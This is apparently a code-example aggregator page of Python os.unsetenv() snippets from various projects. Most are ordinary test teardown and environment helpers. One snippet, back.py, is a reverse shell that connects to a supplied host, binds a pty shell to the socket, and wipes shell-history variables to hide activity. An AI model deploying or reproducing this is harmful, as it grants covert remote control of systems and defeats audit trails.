python类unsetenv()的实例源码

test_subscriptions.py 文件源码 项目:data-store 作者: HumanCellAtlas 项目源码 文件源码 阅读 26 收藏 0 点赞 0 评论 0
def tearDownModule():
    ESInfo.server.shutdown()
    IndexSuffix.reset()
    os.unsetenv('DSS_ES_PORT')
back.py 文件源码 项目:VulScript 作者: y1ng1996 项目源码 文件源码 阅读 27 收藏 0 点赞 0 评论 0
def main():
    if len(sys.argv) !=3:
        usage(sys.argv[0])
        sys.exit()
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        s.connect((sys.argv[1],int(sys.argv[2])))
        print 'connect ok'
    except:
        print 'connect faild'
        sys.exit()
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    global shell
    os.unsetenv("HISTFILE")
    os.unsetenv("HISTFILESIZE")
    os.unsetenv("HISTSIZE")
    os.unsetenv("HISTORY")
    os.unsetenv("HISTSAVE")
    os.unsetenv("HISTZONE")
    os.unsetenv("HISTLOG")
    os.unsetenv("HISTCMD")
    os.putenv("HISTFILE",'/dev/null')
    os.putenv("HISTSIZE",'0')
    os.putenv("HISTFILESIZE",'0')
    pty.spawn(shell)
    s.close()
integration_tests.py 文件源码 项目:udocker 作者: indigo-dc 项目源码 文件源码 阅读 27 收藏 0 点赞 0 评论 0
def test_07_host_env(self, mock_msg):
        """Test passing of host env"""
        if container_not_exists("busyRUN"):
            self.skipTest("no container")
        os.environ["UDOCKER_EXPORTED_VAR"] = "udocker exported var"
        do_run(self, mock_msg,
               [UDOCKER, "run", "--hostenv", "busyRUN", "/bin/env"],
               None, " udocker exported var")
        os.unsetenv("UDOCKER_EXPORTED_VAR")
integration_tests.py 文件源码 项目:udocker 作者: indigo-dc 项目源码 文件源码 阅读 27 收藏 0 点赞 0 评论 0
def test_23_run_reg50(self, mock_msg):
        """Test create, ps, rm"""
        os.environ["UDOCKER_CONTAINERS"] = "/tmp/udocker_containers"
        do_action([UDOCKER, "rm", "busyTMP"])
        do_run(self, mock_msg,
               [UDOCKER, "create", "--name=busyTMP", "busybox"], None, None)
        do_run(self, mock_msg,
               [UDOCKER, "ps"], " busyTMP", None)
        do_run(self, mock_msg,
               [UDOCKER, "ps"], "!busyRUN", None)
        # delete not owner (regression of #50)
        do_run(self, mock_msg,
               [UDOCKER, "rm", "busyTMP"], "!Error", None)
        os.unsetenv("UDOCKER_CONTAINERS")
compat.py 文件源码 项目:mac-package-build 作者: persepolisdm 项目源码 文件源码 阅读 29 收藏 0 点赞 0 评论 0
def machine():
    """
    Return machine suffix to use in directory name when looking
    for bootloader.

    PyInstaller is reported to work even on ARM architecture. For that
    case functions system() and architecture() are not enough.
    Path to bootloader has to be composed from system(), architecture()
    and machine() like:
        'Linux-32bit-arm'
    """
    mach = platform.machine()
    if mach.startswith('arm'):
        return 'arm'
    else:
        # Assume x86/x86_64 machine.
        return None


# Set and get environment variables does not handle unicode strings correctly
# on Windows.

# Acting on os.environ instead of using getenv()/setenv()/unsetenv(),
# as suggested in <http://docs.python.org/library/os.html#os.environ>:
# "Calling putenv() directly does not change os.environ, so it's
# better to modify os.environ." (Same for unsetenv.)
compat.py 文件源码 项目:mac-package-build 作者: persepolisdm 项目源码 文件源码 阅读 27 收藏 0 点赞 0 评论 0
def unsetenv(name):
    """
    Delete the environment variable 'name'.
    """
    # Some platforms (e.g. AIX) do not support `os.unsetenv()` and
    # thus `del os.environ[name]` has no effect onto the real
    # environment. For this case we set the value to the empty string.
    os.environ[name] = ""
    del os.environ[name]


# Exec commands in subprocesses.


问题


面经


文章

微信
公众号

扫码关注公众号